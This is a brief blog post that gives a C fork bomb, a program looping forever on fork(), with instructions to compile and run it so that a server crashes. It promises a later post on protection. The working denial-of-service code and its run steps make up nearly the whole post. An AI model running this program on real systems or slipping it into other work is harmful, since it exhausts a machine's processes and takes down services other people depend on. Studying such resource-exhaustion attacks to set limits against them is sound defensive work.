linux poison RSS
linux poison Email

Simple C program that will crash any server

This is very simple C program, if executed, will defenately crash the server

Open Vi editor and type/copy the following lines

main()
{
while(1)
{
fork();
}
}

Save the file with any name, something like ... crash.c
Compile it: gcc crash.c
run it: ./a.out

And see how your server is getting crash.
Note: In future post I will explain how to protect your server from such program.


Here is the solution to prevent such attack - here 


2 comments:

Post a Comment

Related Posts with Thumbnails